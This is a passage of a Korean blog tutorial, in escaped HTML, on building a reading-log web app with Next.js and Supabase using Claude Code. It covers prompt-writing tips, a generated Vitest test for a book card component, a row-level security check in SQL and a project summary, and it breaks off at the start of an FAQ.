      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code 활용 팁 — 효과적인 프롬프트 작성법&lt;/h2&gt;
&lt;h3&gt;1. CLAUDE.md로 프로젝트 컨텍스트 공유하기&lt;/h3&gt;
&lt;p&gt;프로젝트 루트에 &lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 파일을 두면, Claude Code가 매번 새 대화를 시작할 때 자동으로 읽어서 컨텍스트를 파악합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; BookLog&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 기술 스택&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Next.js 14 (App Router, TypeScript)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Supabase (PostgreSQL, Auth, RLS)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Tailwind CSS
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Vercel 배포

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; DB 스키마&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; profiles: 사용자 프로필 (auth.users 연동)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; books: 책 정보 (ISBN, 제목, 저자)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; reading_records: 독서 기록 (상태, 별점, 날짜)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; memos: 독서 메모 (노트, 인용, 리뷰)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 코딩 컨벤션&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 컴포넌트: src/components/ 하위 기능별 분류
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 서비스: src/services/ (Supabase 쿼리 로직)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 서버 컴포넌트 기본, 클라이언트 컴포넌트는 &apos;use client&apos; 명시
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 에러 처리: try/catch + 사용자 친화적 메시지&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. 구체적인 지시를 내리세요&lt;/h3&gt;
&lt;p&gt;나쁜 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;메모 기능 만들어줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;좋은 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;memos 테이블에 대한 CRUD를 구현해줘.

- src/services/memos.ts에 서비스 함수
- src/components/memos/MemoEditor.tsx에 작성/수정 폼
- src/components/memos/MemoCard.tsx에 메모 카드
- 메모 타입: note, quote, review (라디오 버튼으로 선택)
- 인용구(quote) 타입은 페이지 번호 입력 필드 추가
- Tailwind CSS, 반응형&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. 단계별로 요청하세요&lt;/h3&gt;
&lt;p&gt;한 번에 모든 걸 요청하면 결과물의 품질이 떨어집니다. &lt;strong&gt;서비스 함수 -&gt; 컴포넌트 -&gt; 페이지&lt;/strong&gt; 순서로 나눠서 요청하는 것이 좋습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1단계: &quot;memos 서비스 함수만 만들어줘&quot; -&gt; 검토 -&gt; 확정
2단계: &quot;이 서비스를 사용하는 MemoEditor 컴포넌트 만들어줘&quot; -&gt; 검토 -&gt; 확정
3단계: &quot;대시보드에 메모 섹션 추가해줘&quot; -&gt; 검토 -&gt; 확정&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;테스트 — AI가 만든 코드를 검증하는 방법&lt;/h2&gt;
&lt;p&gt;AI가 생성한 코드를 &lt;strong&gt;무조건 신뢰하면 안 됩니다.&lt;/strong&gt; 특히 아래 항목은 반드시 직접 확인하세요.&lt;/p&gt;
&lt;h3&gt;수동 테스트 체크리스트&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;확인 사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;인증&lt;/td&gt;
&lt;td&gt;로그인/로그아웃 정상 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RLS&lt;/td&gt;
&lt;td&gt;다른 사용자의 데이터가 보이지 않는지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRUD&lt;/td&gt;
&lt;td&gt;생성/조회/수정/삭제 각각 동작 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;엣지 케이스&lt;/td&gt;
&lt;td&gt;빈 입력, 긴 텍스트, 특수문자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;반응형&lt;/td&gt;
&lt;td&gt;모바일/태블릿/데스크톱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;에러 처리&lt;/td&gt;
&lt;td&gt;네트워크 오류, 서버 오류 시 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Claude Code로 테스트 코드 생성하기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;BookCard 컴포넌트의 단위 테스트를 작성해줘.

- Vitest + React Testing Library 사용
- 테스트 케이스:
  1. 책 제목과 저자가 렌더링되는지
  2. 상태에 따라 올바른 배지 색상이 적용되는지
  3. 별점이 올바르게 표시되는지
  4. 커버 이미지가 없을 때 대체 텍스트가 표시되는지&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;생성된 테스트 코드 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/books/BookCard.test.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; render&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; screen &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@testing-library/react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; describe&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; it&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; expect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vitest&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; BookCard &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./BookCard&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; mockRecord &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user-1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;book-1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reading&quot;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  rating&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  start_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-01-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  end_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-01-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-01-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;book-1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    isbn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;9788936434267&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;채식주의자&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;한강&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    publisher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;창비&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    cover_image_url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://example.com/cover.jpg&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    page_count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;247&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    published_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2007-10-30&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-01-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;describe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;BookCard&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;책 제목과 저자가 렌더링된다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;BookCard record&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;mockRecord&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getByText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;채식주의자&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBeInTheDocument&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getByText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;한강&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBeInTheDocument&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;읽는 중 상태 배지가 표시된다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;BookCard record&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;mockRecord&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; badge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getByText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;읽는 중&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;badge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toHaveClass&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bg-blue-100&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;별점 4개가 채워져 표시된다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;BookCard record&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;mockRecord&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; filledStars &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelectorAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.fill-yellow-400&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;filledStars&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toHaveLength&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;커버 이미지가 없으면 대체 텍스트가 표시된다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; noCoverRecord &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;mockRecord&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      book&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;mockRecord&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cover_image_url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;BookCard record&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;noCoverRecord&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getByText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;No Cover&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBeInTheDocument&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;RLS 테스트 — 가장 중요한 보안 검증&lt;/h3&gt;
&lt;p&gt;RLS가 제대로 동작하는지 확인하는 가장 간단한 방법은 &lt;strong&gt;Supabase SQL Editor에서 직접 쿼리를 실행&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- 특정 사용자로 로그인한 상태를 시뮬레이션&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;jwt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;claims &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;sub&quot;: &quot;user-id-here&quot;}&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 이 쿼리로 해당 사용자의 데이터만 조회되는지 확인&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; reading_records&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;개발 결과물 요약&lt;/h2&gt;
&lt;p&gt;이 세 포스팅에 걸쳐 만든 &quot;독서 기록 웹앱&quot;의 구성을 정리하면 다음과 같습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;프론트엔드&lt;/td&gt;
&lt;td&gt;Next.js 14 (App Router) + Tailwind CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;백엔드&lt;/td&gt;
&lt;td&gt;Supabase (PostgreSQL + Auth + RLS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인증&lt;/td&gt;
&lt;td&gt;Google, GitHub 소셜 로그인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;핵심 기능&lt;/td&gt;
&lt;td&gt;책 검색/등록, 독서 기록 CRUD, 메모 CRUD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 도구&lt;/td&gt;
&lt;td&gt;Claude Code (설계, 코드 생성, 테스트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개발 기간&lt;/td&gt;
&lt;td&gt;약 2주 (기획 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. Claude Code 없이 다른 AI 코딩 도구로도 이 과정이 가능한가요?&lt;/h3&gt;
